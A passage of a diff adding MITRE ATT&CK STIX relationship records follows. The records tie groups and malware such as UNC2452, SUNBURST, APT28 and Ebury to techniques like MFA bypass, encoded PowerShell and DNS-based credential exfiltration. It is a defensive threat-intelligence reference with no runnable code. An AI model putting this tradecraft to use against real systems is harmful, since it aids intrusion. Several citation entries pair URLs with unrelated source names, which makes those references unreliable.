"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2021-01-05T19:43:55.480Z", + "external_references": [ + { + "url": "https://www.volexity.com/blog/2020/12/14/dark-halo-leverages-solarwinds-compromise-to-breach-organizations/", + "description": "Cash, D. et al. (2020, December 14). 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Retrieved December 29, 2020.", + "source_name": "Volexity SolarWinds" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--8d397306-e9f8-4946-a1da-8ebfcc4d88a6", + "description": "[UNC2452](https://attack.mitre.org/groups/G0118) bypassed MFA set on OWA accounts by generating a cookie value from a previously stolen secret key.(Citation: Volexity SolarWinds)", + "target_ref": "attack-pattern--861b8fd2-57f3-4ee1-ab5d-c19c3b8c7a4a", + "modified": "2021-01-05T20:57:01.700Z", + "source_ref": "intrusion-set--dc5e2999-ca1a-47d4-8d12-a6984b138a1b", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2021-01-05T20:57:01.700Z", + "external_references": [ + { + "url": "https://www.volexity.com/blog/2020/12/14/dark-halo-leverages-solarwinds-compromise-to-breach-organizations/", + "description": "Cash, D. et al. (2020, December 14). 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(2020, December 13). Highly Evasive Attacker Leverages SolarWinds Supply Chain to Compromise Multiple Global Victims With SUNBURST Backdoor. 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(2020, December 13). Highly Evasive Attacker Leverages SolarWinds Supply Chain to Compromise Multiple Global Victims With SUNBURST Backdoor. Retrieved January 4, 2021.", + "source_name": "FireEye SUNBURST Backdoor December 2020" + }, + { + "url": "https://www.microsoft.com/security/blog/2021/03/04/goldmax-goldfinder-sibot-analyzing-nobelium-malware/", + "description": "Nafisi, R., Lelli, A. (2021, March 4). GoldMax, GoldFinder, and Sibot: Analyzing NOBELIUM\u2019s layered persistence. Retrieved March 8, 2021.", + "source_name": "MSTIC NOBELIUM Mar 2021" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--75560ec3-23f7-49e1-9dde-38f51db8b2b1", + "description": "[UNC2452](https://attack.mitre.org/groups/G0118) used encoded PowerShell commands.(Citation: Microsoft - Customer Guidance on Recent Nation-State Cyber Attacks)", + "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", + "modified": "2021-01-12T17:16:31.940Z", + "source_ref": "intrusion-set--dc5e2999-ca1a-47d4-8d12-a6984b138a1b", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2021-01-05T22:07:13.832Z", + "external_references": [ + { + "url": "https://msrc-blog.microsoft.com/2020/12/13/customer-guidance-on-recent-nation-state-cyber-attacks/", + "description": "MSRC. (2020, December 13). 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(2020, December 13). Highly Evasive Attacker Leverages SolarWinds Supply Chain to Compromise Multiple Global Victims With SUNBURST Backdoor. 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(2020, December 13). Highly Evasive Attacker Leverages SolarWinds Supply Chain to Compromise Multiple Global Victims With SUNBURST Backdoor. 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Retrieved January 5, 2021.", + "source_name": "Microsoft Analyzing Solorigate Dec 2020" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--088f896a-59a4-4bce-aacf-3a1f0d6c4237", + "description": "[SUNBURST](https://attack.mitre.org/software/S0559) used the WMI query Select * From Win32_SystemDriver to retrieve a driver listing.(Citation: FireEye SUNBURST Backdoor December 2020)", + "target_ref": "attack-pattern--01a5a209-b94c-450b-b7f9-946497d91055", + "modified": "2021-01-06T16:56:56.356Z", + "source_ref": "malware--a8839c95-029f-44cf-8f3d-a3cf2039e927", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2021-01-06T16:56:56.356Z", + "external_references": [ + { + "url": "https://www.fireeye.com/blog/threat-research/2020/12/evasive-attacker-leverages-solarwinds-supply-chain-compromises-with-sunburst-backdoor.html", + "description": "FireEye. (2020, December 13). Highly Evasive Attacker Leverages SolarWinds Supply Chain to Compromise Multiple Global Victims With SUNBURST Backdoor. Retrieved January 4, 2021.", + "source_name": "FireEye SUNBURST Backdoor December 2020" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--2db32876-d6f5-4862-b760-f0a9dfb28c3c", + "description": "[SUNBURST](https://attack.mitre.org/software/S0559) used Base64 encoding in its C2 traffic.(Citation: FireEye SUNBURST Backdoor December 2020)", + "target_ref": "attack-pattern--04fd5427-79c7-44ea-ae13-11b24778ff1c", + "modified": "2021-01-10T17:15:23.266Z", + "source_ref": "malware--a8839c95-029f-44cf-8f3d-a3cf2039e927", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2021-01-06T16:56:56.360Z", + "external_references": [ + { + "url": "https://www.fireeye.com/blog/threat-research/2020/12/evasive-attacker-leverages-solarwinds-supply-chain-compromises-with-sunburst-backdoor.html", + "description": "FireEye. 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Retrieved January 4, 2021.", + "source_name": "FireEye SUNBURST Backdoor December 2020" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--0648b4df-ad84-4c94-8a0c-16e392f80f82", + "description": "[SUNBURST](https://attack.mitre.org/software/S0559) remained dormant after initial access for a period of up to two weeks.(Citation: FireEye SUNBURST Backdoor December 2020)", + "target_ref": "attack-pattern--4bed873f-0b7d-41d4-b93a-b6905d1f90b0", + "modified": "2021-01-06T16:56:56.358Z", + "source_ref": "malware--a8839c95-029f-44cf-8f3d-a3cf2039e927", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2021-01-06T16:56:56.358Z", + "external_references": [ + { + "url": "https://www.fireeye.com/blog/threat-research/2020/12/evasive-attacker-leverages-solarwinds-supply-chain-compromises-with-sunburst-backdoor.html", + "description": "FireEye. (2020, December 13). Highly Evasive Attacker Leverages SolarWinds Supply Chain to Compromise Multiple Global Victims With SUNBURST Backdoor. Retrieved January 4, 2021.", + "source_name": "FireEye SUNBURST Backdoor December 2020" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--e83fb711-3ce0-4c6a-a8b2-0efb96551b99", + "description": "[SUNBURST](https://attack.mitre.org/software/S0559) delivered different payloads, including [TEARDROP](https://attack.mitre.org/software/S0560) in at least one instance.(Citation: FireEye SUNBURST Backdoor December 2020)", + "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", + "modified": "2021-01-06T18:04:46.296Z", + "source_ref": "malware--a8839c95-029f-44cf-8f3d-a3cf2039e927", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2021-01-06T16:56:56.420Z", + "external_references": [ + { + "url": "https://www.fireeye.com/blog/threat-research/2020/12/evasive-attacker-leverages-solarwinds-supply-chain-compromises-with-sunburst-backdoor.html", + "description": "FireEye. (2020, December 13). Highly Evasive Attacker Leverages SolarWinds Supply Chain to Compromise Multiple Global Victims With SUNBURST Backdoor. Retrieved January 4, 2021.", + "source_name": "FireEye SUNBURST Backdoor December 2020" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--c911e8d7-be27-48cf-8f5a-0be56cbe6592", + "description": "[SUNBURST](https://attack.mitre.org/software/S0559) checked the domain name of the compromised host to verify it was running in a real environment.(Citation: Microsoft Analyzing Solorigate Dec 2020)", + "target_ref": "attack-pattern--29be378d-262d-4e99-b00d-852d573628e6", + "modified": "2021-01-06T17:15:47.537Z", + "source_ref": "malware--a8839c95-029f-44cf-8f3d-a3cf2039e927", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2021-01-06T17:15:47.537Z", + "external_references": [ + { + "url": "https://www.microsoft.com/security/blog/2020/12/18/analyzing-solorigate-the-compromised-dll-file-that-started-a-sophisticated-cyberattack-and-how-microsoft-defender-helps-protect/", + "description": "MSTIC. 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Retrieved January 5, 2021.", + "source_name": "Microsoft Analyzing Solorigate Dec 2020" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--076141ed-10e8-4161-9cca-de1819f9cbdc", + "description": "[SUNBURST](https://attack.mitre.org/software/S0559) attempted to disable software security services following checks against a FNV-1a + XOR hashed hardcoded blocklist.(Citation: FireEye SUNBURST Additional Details Dec 2020)", + "target_ref": "attack-pattern--ac08589e-ee59-4935-8667-d845e38fe579", + "modified": "2021-01-10T18:09:07.618Z", + "source_ref": "malware--a8839c95-029f-44cf-8f3d-a3cf2039e927", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2021-01-06T17:15:47.540Z", + "external_references": [ + { + "url": "https://www.fireeye.com/blog/threat-research/2020/12/sunburst-additional-technical-details.html", + "description": "Stephen Eckels, Jay Smith, William Ballenthin. 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Retrieved December 7, 2020.", + "source_name": "Symantec W.32 Stuxnet Dossier" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--33eb3d03-426d-4410-b028-3528b3fefe5c", + "description": "[NETWIRE](https://attack.mitre.org/software/S0198) has used a custom encryption algorithm to encrypt collected data.(Citation: FireEye NETWIRE March 2019)", + "target_ref": "attack-pattern--143c0cbb-a297-4142-9624-87ffc778980b", + "modified": "2021-01-08T18:46:53.943Z", + "source_ref": "malware--2a70812b-f1ef-44db-8578-a496a227aef2", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2021-01-08T18:46:53.943Z", + "external_references": [ + { + "url": "https://www.fireeye.com/blog/threat-research/2019/03/dissecting-netwire-phishing-campaign-usage-of-process-hollowing.html", + "description": "Maniath, S. and Kadam P. (2019, March 19). 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Pawn Storm\u2019s Lack of Sophistication as a Strategy. Retrieved January 13, 2021.", + "source_name": "TrendMicro Pawn Storm Dec 2020" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--1829d419-0145-4a47-bb1e-ff00e647b5ff", + "description": "[APT28](https://attack.mitre.org/groups/G0007) has deployed malware that has copied itself to the startup directory for persistence.(Citation: TrendMicro Pawn Storm Dec 2020)", + "target_ref": "attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279", + "modified": "2021-04-19T21:12:35.985Z", + "source_ref": "intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2021-01-13T21:54:29.668Z", + "external_references": [ + { + "url": "https://www.trendmicro.com/en_us/research/20/l/pawn-storm-lack-of-sophistication-as-a-strategy.html", + "description": "Hacquebord, F., Remorin, L. (2020, December 17). Pawn Storm\u2019s Lack of Sophistication as a Strategy. Retrieved January 13, 2021.", + "source_name": "TrendMicro Pawn Storm Dec 2020" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--2b6195a4-72f8-4d31-9824-a7c8a7018134", + "description": "[APT28](https://attack.mitre.org/groups/G0007) has routed traffic over [Tor](https://attack.mitre.org/software/S0183) and VPN servers to obfuscate their activities.(Citation: TrendMicro Pawn Storm Dec 2020)", + "target_ref": "attack-pattern--a782ebe2-daba-42c7-bc82-e8e9d923162d", + "modified": "2021-04-19T21:12:35.730Z", + "source_ref": "intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2021-01-13T21:54:29.675Z", + "external_references": [ + { + "url": "https://www.trendmicro.com/en_us/research/20/l/pawn-storm-lack-of-sophistication-as-a-strategy.html", + "description": "Hacquebord, F., Remorin, L. (2020, December 17). Pawn Storm\u2019s Lack of Sophistication as a Strategy. Retrieved January 13, 2021.", + "source_name": "TrendMicro Pawn Storm Dec 2020" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--54b73912-002f-43ca-b8a2-7439aff45aab", + "description": "[APT28](https://attack.mitre.org/groups/G0007) has performed large-scale scans in an attempt to find vulnerable servers.(Citation: TrendMicro Pawn Storm 2019)", + "target_ref": "attack-pattern--5502c4e9-24ef-4d5f-8ee9-9e906c2f82c4", + "modified": "2021-01-13T21:54:29.677Z", + "source_ref": "intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2021-01-13T21:54:29.677Z", + "external_references": [ + { + "url": "https://documents.trendmicro.com/assets/white_papers/wp-pawn-storm-in-2019.pdf", + "description": "Hacquebord, F. (n.d.). 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Retrieved January 6, 2021.", + "source_name": "Crowdstrike Indrik November 2018" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--f1ef0014-9d3d-407a-aa86-8aab6c92edda", + "description": "[Sidewinder](https://attack.mitre.org/groups/G0121) has lured targets to click on malicious files to gain execution in the target environment.(Citation: ATT Sidewinder January 2021)(Citation: Rewterz Sidewinder APT April 2020)(Citation: Rewterz Sidewinder COVID-19 June 2020)(Citation: Cyble Sidewinder September 2020)", + "target_ref": "attack-pattern--232b7f21-adf9-4b42-b936-b9d6f7df856e", + "modified": "2021-08-30T23:07:30.377Z", + "source_ref": "intrusion-set--3fc023b2-c5cc-481d-9c3e-70141ae1a87e", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2021-01-29T19:04:19.989Z", + "external_references": [ + { + "url": "https://cdn-cybersecurity.att.com/docs/global-perspective-of-the-sidewinder-apt.pdf", + "description": "Hegel, T. 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Retrieved February 3, 2021.", + "source_name": "Malwarebytes Silent Librarian October 2020" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--e85549b5-77c8-426a-b7ea-fec30b05973f", + "description": "[Silent Librarian](https://attack.mitre.org/groups/G0122) has used compromised credentials to obtain unauthorized access to online accounts.(Citation: DOJ Iran Indictments March 2018)", + "target_ref": "attack-pattern--b17a1a56-e99c-403c-8948-561df0cffe81", + "modified": "2021-04-21T11:59:13.573Z", + "source_ref": "intrusion-set--90784c1e-4aba-40eb-9adf-7556235e6384", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2021-02-03T18:13:28.321Z", + "external_references": [ + { + "url": "https://www.justice.gov/usao-sdny/press-release/file/1045781/download", + "description": "DOJ. (2018, March 23). U.S. v. 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Retrieved February 10, 2021.", + "source_name": "ESET Windigo Mar 2014" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--f983de6b-eb17-4947-b4b0-50bd530f50e3", + "description": "[Windigo](https://attack.mitre.org/groups/G0124) has distributed Windows malware via drive-by downloads.(Citation: ESET Windigo Mar 2014)", + "target_ref": "attack-pattern--d742a578-d70e-4d0e-96a6-02a9c30204e6", + "modified": "2021-02-10T20:45:20.026Z", + "source_ref": "intrusion-set--4e868dad-682d-4897-b8df-2dc98f46c68a", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2021-02-10T20:45:20.026Z", + "external_references": [ + { + "url": "https://www.welivesecurity.com/2014/03/18/operation-windigo-the-vivisection-of-a-large-linux-server-side-credential-stealing-malware-campaign/", + "description": "Bilodeau, O., Bureau, M., Calvet, J., Dorais-Joncas, A., L\u00e9veill\u00e9, M., Vanheuverzwijn, B. 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Retrieved February 10, 2021.", + "source_name": "ESET Windigo Mar 2014" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--6ff6558d-3efb-4219-8d47-ecf82755ccf1", + "description": "[Ebury](https://attack.mitre.org/software/S0377) can automatically exfiltrate gathered SSH credentials.(Citation: ESET Windigo Mar 2014)", + "target_ref": "attack-pattern--774a3188-6ba9-4dc4-879d-d54ee48a5ce9", + "modified": "2021-02-10T21:09:24.339Z", + "source_ref": "malware--d6b3fcd0-1c86-4350-96f0-965ed02fcc51", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2021-02-10T21:09:24.339Z", + "external_references": [ + { + "url": "https://www.welivesecurity.com/2014/03/18/operation-windigo-the-vivisection-of-a-large-linux-server-side-credential-stealing-malware-campaign/", + "description": "Bilodeau, O., Bureau, M., Calvet, J., Dorais-Joncas, A., L\u00e9veill\u00e9, M., Vanheuverzwijn, B. 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Retrieved February 10, 2021.", + "source_name": "ESET Windigo Mar 2014" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--e6ce13c0-7a23-4974-bacc-187eedd9c6da", + "description": "[Ebury](https://attack.mitre.org/software/S0377) can exfiltrate SSH credentials through custom DNS queries.(Citation: ESET Windigo Mar 2014)", + "target_ref": "attack-pattern--92d7da27-2d91-488e-a00c-059dc162766d", + "modified": "2021-04-23T22:56:14.882Z", + "source_ref": "malware--d6b3fcd0-1c86-4350-96f0-965ed02fcc51", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2021-02-10T21:09:24.323Z", + "external_references": [ + { + "url": "https://www.welivesecurity.com/2014/03/18/operation-windigo-the-vivisection-of-a-large-linux-server-side-credential-stealing-malware-campaign/", + "description": "Bilodeau, O., Bureau, M., Calvet, J., Dorais-Joncas, A., L\u00e9veill\u00e9, M., Vanheuverzwijn, B. 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IronNetInjector: Turla\u2019s New Malware Loading Tool. Retrieved February 24, 2021.", + "source_name": "Unit 42 IronNetInjector February 2021 " + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--e842c832-8e3a-487c-bdde-e1614fec6c7e", + "description": "[IronNetInjector](https://attack.mitre.org/software/S0581) can obfuscate variable names, encrypt strings, as well as base64 encode and Rijndael encrypt payloads.(Citation: Unit 42 IronNetInjector February 2021 )", + "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", + "modified": "2021-02-25T17:05:15.970Z", + "source_ref": "tool--b1595ddd-a783-482a-90e1-8afc8d48467e", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2021-02-25T17:05:15.970Z", + "external_references": [ + { + "url": " https://unit42.paloaltonetworks.com/ironnetinjector/", + "description": "Reichel, D. (2021, February 19). IronNetInjector: Turla\u2019s New Malware Loading Tool. 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Retrieved February 24, 2021.", + "source_name": "Unit 42 IronNetInjector February 2021 " + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--c4e3450c-c657-43c3-b825-031b12a33611", + "description": "[IronNetInjector](https://attack.mitre.org/software/S0581) has the ability to inject a DLL into running processes, including the [IronNetInjector](https://attack.mitre.org/software/S0581) DLL into explorer.exe.(Citation: Unit 42 IronNetInjector February 2021 )", + "target_ref": "attack-pattern--f4599aa0-4f85-4a32-80ea-fc39dc965945", + "modified": "2021-04-12T15:10:56.654Z", + "source_ref": "tool--b1595ddd-a783-482a-90e1-8afc8d48467e", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2021-02-25T18:40:40.227Z", + "external_references": [ + { + "url": " https://unit42.paloaltonetworks.com/ironnetinjector/", + "description": "Reichel, D. (2021, February 19). IronNetInjector: Turla\u2019s New Malware Loading Tool. Retrieved February 24, 2021.", + "source_name": "Unit 42 IronNetInjector February 2021 " + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--10b4ef89-5f69-4809-a410-37256407b5fa", + "description": "[IronNetInjector](https://attack.mitre.org/software/S0581) can identify processes via C# methods such as GetProcessesByName and running [Tasklist](https://attack.mitre.org/software/S0057) with the Python os.popen function.(Citation: Unit 42 IronNetInjector February 2021 )", + "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580", + "modified": "2021-04-12T15:09:00.014Z", + "source_ref": "tool--b1595ddd-a783-482a-90e1-8afc8d48467e", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2021-02-25T18:46:03.681Z", + "external_references": [ + { + "url": " https://unit42.paloaltonetworks.com/ironnetinjector/", + "description": "Reichel, D. (2021, February 19). IronNetInjector: Turla\u2019s New Malware Loading Tool. Retrieved February 24, 2021.", + "source_name": "Unit 42 IronNetInjector February 2021 " + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--02f18eff-faf1-421b-a0e9-e9852833bb04", + "description": "[IronNetInjector](https://attack.mitre.org/software/S0581) can use IronPython scripts to load payloads with the help of a .NET injector.(Citation: Unit 42 IronNetInjector February 2021 )", + "target_ref": "attack-pattern--cc3502b5-30cc-4473-ad48-42d51a6ef6d1", + "modified": "2021-02-25T20:26:00.879Z", + "source_ref": "tool--b1595ddd-a783-482a-90e1-8afc8d48467e", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2021-02-25T18:59:16.634Z", + "external_references": [ + { + "url": " https://unit42.paloaltonetworks.com/ironnetinjector/", + "description": "Reichel, D. (2021, February 19). IronNetInjector: Turla\u2019s New Malware Loading Tool. Retrieved February 24, 2021.", + "source_name": "Unit 42 IronNetInjector February 2021 " + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--08bc171a-147c-4888-a0cb-c5fcebdc9b95", + "description": "[LookBack](https://attack.mitre.org/software/S0582) can kill processes and delete services.(Citation: Proofpoint LookBack Malware Aug 2019)", + "target_ref": "attack-pattern--20fb2507-d71c-455d-9b6d-6104461cf26b", + "modified": "2021-04-26T13:29:32.728Z", + "source_ref": "malware--c9ccc4df-1f56-49e7-ad57-b383e1451688", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2021-03-01T14:07:36.786Z", + "external_references": [ + { + "url": "https://www.proofpoint.com/us/threat-insight/post/lookback-malware-targets-united-states-utilities-sector-phishing-attacks", + "description": "Raggi, M. Schwarz, D.. (2019, August 1). LookBack Malware Targets the United States Utilities Sector with Phishing Attacks Impersonating Engineering Licensing Boards. Retrieved February 25, 2021.", + "source_name": "Proofpoint LookBack Malware Aug 2019" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--a48829f9-c991-4122-afda-a46a82faef95", + "description": "[LookBack](https://attack.mitre.org/software/S0582) removes itself after execution and can delete files on the system.(Citation: Proofpoint LookBack Malware Aug 2019)", + "target_ref": "attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c", + "modified": "2021-03-03T16:49:14.724Z", + "source_ref": "malware--c9ccc4df-1f56-49e7-ad57-b383e1451688", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2021-03-01T14:07:36.808Z", + "external_references": [ + { + "url": "https://www.proofpoint.com/us/threat-insight/post/lookback-malware-targets-united-states-utilities-sector-phishing-attacks", + "description": "Raggi, M. Schwarz, D.. (2019, August 1). LookBack Malware Targets the United States Utilities Sector with Phishing Attacks Impersonating Engineering Licensing Boards. Retrieved February 25, 2021.", + "source_name": "Proofpoint LookBack Malware Aug 2019" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--8630a3fb-9f65-4c54-b3d6-c379d03029dc", + "description": "[LookBack](https://attack.mitre.org/software/S0582) can take desktop screenshots.(Citation: Proofpoint LookBack Malware Aug 2019)", + "target_ref": "attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688", + "modified": "2021-03-02T18:15:56.441Z", + "source_ref": "malware--c9ccc4df-1f56-49e7-ad57-b383e1451688", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2021-03-01T14:07:36.833Z", + "external_references": [ + { + "url": "https://www.proofpoint.com/us/threat-insight/post/lookback-malware-targets-united-states-utilities-sector-phishing-attacks", + "description": "Raggi, M. Schwarz, D.. (2019, August 1). LookBack Malware Targets the United States Utilities Sector with Phishing Attacks Impersonating Engineering Licensing Boards. Retrieved February 25, 2021.", + "source_name": "Proofpoint LookBack Malware Aug 2019" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--327569f6-724f-4c46-bbdc-644c6416148b", + "description": "[LookBack](https://attack.mitre.org/software/S0582) executes the cmd.exe command.(Citation: Proofpoint LookBack Malware Aug 2019)", + "target_ref": "attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62", + "modified": "2021-03-02T18:15:56.490Z", + "source_ref": "malware--c9ccc4df-1f56-49e7-ad57-b383e1451688", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2021-03-01T14:07:36.860Z", + "external_references": [ + { + "url": "https://www.proofpoint.com/us/threat-insight/post/lookback-malware-targets-united-states-utilities-sector-phishing-attacks", + "description": "Raggi, M. Schwarz, D.. (2019, August 1). LookBack Malware Targets the United States Utilities Sector with Phishing Attacks Impersonating Engineering Licensing Boards. Retrieved February 25, 2021.", + "source_name": "Proofpoint LookBack Malware Aug 2019" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--cb62e09c-5092-418e-99d3-ab7b5fc73017", + "description": "[LookBack](https://attack.mitre.org/software/S0582) can retrieve file listings from the victim machine.(Citation: Proofpoint LookBack Malware Aug 2019)", + "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18", + "modified": "2021-04-24T22:11:01.082Z", + "source_ref": "malware--c9ccc4df-1f56-49e7-ad57-b383e1451688", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2021-03-01T14:07:36.861Z", + "external_references": [ + { + "url": "https://www.proofpoint.com/us/threat-insight/post/lookback-malware-targets-united-states-utilities-sector-phishing-attacks", + "description": "Raggi, M. Schwarz, D.. (2019, August 1). LookBack Malware Targets the United States Utilities Sector with Phishing Attacks Impersonating Engineering Licensing Boards. Retrieved February 25, 2021.", + "source_name": "Proofpoint LookBack Malware Aug 2019" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--65f12d79-f04e-441d-8068-1962963c4965", + "description": "[LookBack](https://attack.mitre.org/software/S0582) can list running processes.(Citation: Proofpoint LookBack Malware Aug 2019)", + "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580", + "modified": "2021-03-02T18:15:56.488Z", + "source_ref": "malware--c9ccc4df-1f56-49e7-ad57-b383e1451688", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2021-03-01T14:07:36.863Z", + "external_references": [ + { + "url": "https://www.proofpoint.com/us/threat-insight/post/lookback-malware-targets-united-states-utilities-sector-phishing-attacks", + "description": "Raggi, M. Schwarz, D.. (2019, August 1). LookBack Malware Targets the United States Utilities Sector with Phishing Attacks Impersonating Engineering Licensing Boards. Retrieved February 25, 2021.", + "source_name": "Proofpoint LookBack Malware Aug 2019" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--651334a7-9d6c-444e-a935-1e7847abfcb1", + "description": "[LookBack](https://attack.mitre.org/software/S0582) can enumerate services on the victim machine.(Citation: Proofpoint LookBack Malware Aug 2019)", + "target_ref": "attack-pattern--322bad5a-1c49-4d23-ab79-76d641794afa", + "modified": 